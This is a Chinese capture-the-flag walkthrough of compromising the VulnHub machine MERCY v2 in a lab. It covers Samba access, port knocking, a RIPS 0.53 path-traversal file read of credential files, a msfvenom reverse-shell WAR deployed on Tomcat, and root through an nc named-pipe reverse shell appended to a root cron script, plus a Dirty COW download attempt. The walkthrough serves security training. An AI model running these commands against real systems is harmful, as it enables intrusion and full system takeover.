實戰靶場:MERCY V2
一、知識點和漏洞
1.知識點
1)Samba文件共享服務
2)端口敲門
3)NC反彈shell
4)制作可以反彈shell的木馬文件
5)Suid提權
2.漏洞
1)RIPS 0.53的本地文件包含漏洞
2)操作系統層的臟牛提權漏洞【這題里面有點雞肋】
二、整體環境和工具

1.靶機:
官網地址:https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/
百度網盤下載地址:
鏈接:https://pan.baidu.com/s/1DN9K60uK-xOX-OKj8X2OKA
提取碼:3lk4
靶機安裝過程:
1)下載后解壓文件夾

2)打開VMware15.5pro軟件后

2.操作機:
kali linux 2021
鏈接:https://pan.baidu.com/s/1oQax7qHoenhehpMsvhp-RQ
提取 碼: cj51
3.工具
(1)nmap
●工具說明和安裝:存活主機判斷、端口服務、操作系統等信息。
●掃描 工具為kali內置則無需安裝過程。
使用說明:
a.主機發現 nmap -sP 網段/掩碼
b.全面掃描 nmap -A IP地址
c.服務、端口、操作系統信息探測 nmap -sV -O IP地址
(2)dirb
工具說明:
●掃描網站后臺目錄
●工具為kali內置則無需安裝過程
使用說明:
●掃后臺 dirb 指定URL
(3)御劍
工具說明:掃描網站后臺目錄
使用說明:

(4)Searchsploit
工具說明:
●是一個用于Exploit-DB的命令行搜索工具,可以幫助我們查找滲透模塊。Exploit-DB是一個漏洞庫,Kali Linux中保存了一個該漏洞庫的拷貝,利用上面提到的 命令就可以查找需要的滲透模塊,它將搜索所有的漏洞和shellcode而且該漏洞庫是保 存在本地的,在沒有網絡的情況下也可以使用。 工具為kali內置則無需安裝過程
使用說明:基本搜索方法就是searchsploit+可能包含漏洞的軟件/系統等等,對應回顯存在 的漏洞和用于滲透的腳本。
(5) Metasploit——msfvenom
工具說明:
●生成木馬文件。
●工具為kali內置則無需安裝過程。
(6) NC工具
工具說明:nc(netcat)被譽為網絡安全界的‘瑞士軍刀’通過使用TCP協議或UDP協議的網絡 連接去讀寫數據,被設計成一個穩定的后門工具,能夠直接由其它程序和腳本輕松驅動。同時,nc也是一個功能強大的網絡調試和探測工具,能夠建立幾乎所有類型的網絡連 接。
使用說明:
反向連接:
●攻擊機Kali:nc -lvp 靶機端口
●目標靶機(Windows): nc 攻擊者IP 攻擊者端口 -e cmd.exe
●目標靶機(Linux):nc 攻擊者IP 攻擊者端口 -e /bin/bash
POC:
(1)RIPS 0.53的本地文件包含漏洞POC: http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
詳細可以查閱: https://www.exploit-db.com/exploits/18660
腳本程序:
敲門腳本:for x in 序列號(sequence); do nmap -Pn --max-retries 0 -p $x 目標IP; done
三、靶場演練過程
1.整體思路
1)信息收集
2)利用Samba文件共享服務
3)端口敲門
4)掃80端口后臺
5)利用RIPS版本漏洞
6)獲取Tomcat的webshell
7)Suid中通過timeclock文件進行提權
2.漏洞利用步驟:
步驟1:信息收集
先進行信息收集,判斷存活主機【nmap -sP 192.168.240.0/24】

掃描目標主機開放端口、服務、操作系統情況等【nmap -sV -O 192.168.240.132】

可以看到22、80端口都處于filtered的狀態
訪問8080端口,嘗試tomcat管理員弱密碼tomcat/tomcat失敗。

拿御劍掃一下后臺,訪問robot.txt,發現新的目錄,訪問該目錄。

應該是一串base64加密字符串,base64解密得到:
It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.
Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.
No fluffy bunnies for those who set insecure passwords and endanger the enterprise.
中文翻譯得到:
這很煩人,但我們一遍又一遍地重復:網絡衛生非常重要。請停止設置會被任何像樣的密碼列表破解的愚蠢密碼。
有一次,我們找到了密碼“password”,字面意思是貼在員工辦公桌前的便利貼上!盡管可能很愚蠢,但當我們威脅要解雇她時,該員工懇求寬恕。
對于那些設置不安全密碼并危及企業的人,沒有毛茸茸的兔子。
獲取到其中有一個密碼為password,但暫時沒找到利用點。
再次進行信息收集【nmap -sS -A -Pn 192.168.240.132】

步驟2:利用Samba文件共享服務
根據139和445端口,可見該操作系統正運行Samba服務,即文件共享。
嘗試連接靶機查看共享的文件夾內容,密碼嘗試剛剛獲取到的password即可進入查看共享文件夾內容【smbclient -L 192.168.240.132】,可以看到存在用戶qiu。

直接用用戶名qiu登錄smb服務,密碼為剛剛獲取的password。
【smbclient //192.168.240.132/qiu -U qiu】

在/.private/opensesame目錄下,獲取config文件。

在獲取到的config文件中,發現Port Knocking(端口敲門)序列號,主要有兩組序列號,一組是用于打開HTTP服務的,另一組用于打開SSH服務的。

步驟3:端口敲門
敲擊HTTP腳本文件(knock.sh)內容如下:
【for x in 159 27391 4; do nmap -Pn --max-retries 0 -p $x 192.168.240.132;
done】
敲擊SSH腳本文件(knock1.sh)內容如下:
【for x in 17301 28504 9999; do nmap -Pn --max-retries 0 -p $x 192.168.240.132; done】
分別執行兩個腳本文件,并通過telnet進行連接驗證是否已經敲開HTTP/SSH服務。


都已經成功打開ssh、http80端口。
訪問80端口,沒什么有用的信息。

步驟4:80端口掃后臺
通過dirb掃后臺

訪問/robot.txt,又獲取到兩個新的目錄。

/mercy目錄無用,但/nomercy目錄下是RIPS 0.53界面。

步驟5:利用RIPS版本漏洞
【searchsploit rips 0.53】搜索RIPS 0.53版本存在的漏洞,可以發現存在本地文件包含漏洞。

訪問https://www.exploit-db.com/exploits/18660可以找到POC:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

實驗一下是否能夠包含出/etc/passwd文件內容。
http://192.168.240.132/nomercy/windows/code.php?file=../../../../../../etc/passwd】

根據8080端口的http服務界面的提示,管理器webapp的使用僅限于角色為“管理器-gui”的用戶。主機管理器webapp僅限于角色為“admin-gui”的用戶。用戶在/etc/tomcat7/tomcat-users.xml中定義。

利用存在的本地包含漏洞POC對/etc/tomcat7/tomcat-users.xml包含訪問
http://192.168.240.132/nomercy/windows/code.php?file=../../../../../etc/tomcat7/tomcat-users.xml】成功獲取到用戶的賬號密碼。

利用管理員的賬號密碼登陸tomcat管理界面。

步驟6:獲取webshell
通過msfvenom來生成一個反彈war包,將shell反彈到攻擊機kali的4455端口上
【msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.240.129 LPORT=4455 -f war -o shell2.war】

將生成的war包上傳到Tomcat站點上。

Kali通過7z命令查看war包內容【7z l shell2.war】,生成的是jsp木馬為ijldxknqjmr.jsp。

Kali開啟監聽【nc -lvvp 4455】后訪問生成的jsp木馬文件來觸發反彈shell。

成功獲取到反彈shell,并查看當前權限,是個普通用戶的權限。

步驟7:suid提權
切換到另一個fluffy用戶下,密碼為freakishfluffybunny。

嘗試通過suid提權。
先查看有哪些是具有root權限的可寫文件【find / -type f -perm 0777 2>dev/null】

查看/home/fluffy/.private/secrets/timeclock文件內容。

可以看到/home/fluffy/.private/secrets/timeclock是具有root權限的,并且該腳本是在一定時間間隔后會以root權限運行并寫入到/var/www/html/time中。
添加一條nc反向連接命令到腳本timeclock中,將shell反彈到攻擊機kali的6677端口上
【echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.240.132 6677 1>/tmp/p" >> timeclock】

在攻擊機kali上開啟端口監聽,要耐心等待一會就會有shell反彈回來。可以看到目前的權限已經是root權限了,提權成功,更改root密碼。

四、過程問題記錄
1.上傳war包時,一開始只知道上傳大馬文件進行連接,想通過大馬上傳nc工具反彈shell的,但一直上傳文件失敗。后來嘗試通過msfvenom去生成反彈shell的木馬文件進行反彈shell。
2.臟牛提權這一步,uname -a顯示該靶機的版本為Linux 4.4大于臟牛提權的條件:內核版本>2.6.22。
是可以使用臟牛提權的。
在攻擊機上python -m SimpleHTTPServer快速搭建一個http服務,提供一個文件瀏覽的web服務。將dirtycow.c上傳到攻擊機的/var/www/html文件夾下。靶機上在/tmp文件夾下通過wget http://192.168.240.129:8000/dirtycow.c 下載文件后,在靶機上通過gcc編譯,但是靶機顯示沒有gcc包。后來嘗試在本地編譯后在上傳文件,靶機下載編譯好的提權文件,但一直下載不下來。查詢百度以后知道,靶機是32位的,要專門用32位的臟牛提權文件,并且在kali 2018的32位版本下可以進行編譯。【后續這個就沒有繼續嘗試了】